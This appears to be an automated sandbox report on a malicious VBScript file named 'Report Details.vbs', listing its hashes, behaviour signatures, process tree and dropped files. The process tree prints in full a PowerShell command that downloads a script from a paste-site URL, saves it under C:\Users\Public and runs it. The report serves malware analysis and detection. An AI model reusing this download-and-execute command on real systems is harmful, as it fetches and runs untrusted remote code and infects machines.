Resubmissions

15/04/2022, 01:59

220415-cefc7sbff3 10

14/04/2022, 17:03

220414-vknwmsdchl 10

Analysis

  • max time kernel
    35s
  • max time network
    46s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    15/04/2022, 01:59

General

  • Target

    Report Details.vbs

  • Size

    57KB

  • MD5

    52d94e55aac61768976f39040c288eef

  • SHA1

    e942fa64351f106b614b28e86d3a42d50e5a0443

  • SHA256

    fcd18b069a963b01f447b35ac7f12421ac36f8c577a1f19880ea0258e0505747

  • SHA512

    fe278c9483992b979e356ec4380182d7519d47144cf3ed9c9caaf0346c4bcb788272562f57264ac7a3a35bf67e9e36ac19ec5d5a07d9564a99360de77b72b717

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://textbin.net/raw/x6lfwhnyrz

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Report Details.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1080
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy RemoteSigned -Command [System.Net.WebClient] $Client = New-Object System.Net.WebClient; [Byte[]] $DownloadedData = $Client.DownloadData('https://textbin.net/raw/x6lfwhnyrz'); [String] $ByteToString = [System.Text.UTF8Encoding]::UTF8.GetString($DownloadedData); [System.IO.File]::WriteAllText('C:\Users\Public\x6lfwhnyrz.PS1', $ByteToString, [System.Text.Encoding]::UTF8); Invoke-Expression 'PowerShell -ExecutionPolicy RemoteSigned -File C:\Users\Public\x6lfwhnyrz.PS1'
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1836
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy RemoteSigned -File C:\Users\Public\x6lfwhnyrz.PS1
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1288

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    5f58c89cc45c1996f2a945044abcc7ed

    SHA1

    19c965217fbbc20817539b77a18febf16b840608

    SHA256

    fa6ccb127fa37106502cae6374fdd9441b969efa44d87810737907e4c22f2d95

    SHA512

    0f8b02b256d41cbe2e846bd4bbdb7b04d19d2e76b4cb770e746795391c4191b6da1eca44e9b500fc2a74f01dd7fa9faf8da43e7ef7fbf4f329a9bdf137b8b0f8

  • C:\Users\Public\x6lfwhnyrz.PS1

    Filesize

    3B

    MD5

    ecaa88f7fa0bf610a5a26cf545dcd3aa

    SHA1

    57218c316b6921e2cd61027a2387edc31a2d9471

    SHA256

    f1945cd6c19e56b3c1c78943ef5ec18116907a4ca1efc40a57d48ab1db7adfc5

    SHA512

    37c783b80b1d458b89e712c2dfe2777050eff0aefc9f6d8beedee77807d9aeb2e27d14815cf4f0229b1d36c186bb5f2b5ef55e632b108cc41e9fb964c39b42a5

  • memory/1080-54-0x000007FEFBCB1000-0x000007FEFBCB3000-memory.dmp

    Filesize

    8KB

  • memory/1288-65-0x000007FEF2350000-0x000007FEF2EAD000-memory.dmp

    Filesize

    11.4MB

  • memory/1288-70-0x00000000022EB000-0x000000000230A000-memory.dmp

    Filesize

    124KB

  • memory/1288-68-0x00000000022E4000-0x00000000022E7000-memory.dmp

    Filesize

    12KB

  • memory/1288-67-0x00000000022E2000-0x00000000022E4000-memory.dmp

    Filesize

    8KB

  • memory/1288-66-0x00000000022E0000-0x00000000022E2000-memory.dmp

    Filesize

    8KB

  • memory/1836-58-0x0000000002390000-0x0000000002392000-memory.dmp

    Filesize

    8KB

  • memory/1836-61-0x000000000239B000-0x00000000023BA000-memory.dmp

    Filesize

    124KB

  • memory/1836-60-0x0000000002394000-0x0000000002397000-memory.dmp

    Filesize

    12KB

  • memory/1836-59-0x0000000002392000-0x0000000002394000-memory.dmp

    Filesize

    8KB

  • memory/1836-57-0x000007FEF2350000-0x000007FEF2EAD000-memory.dmp

    Filesize

    11.4MB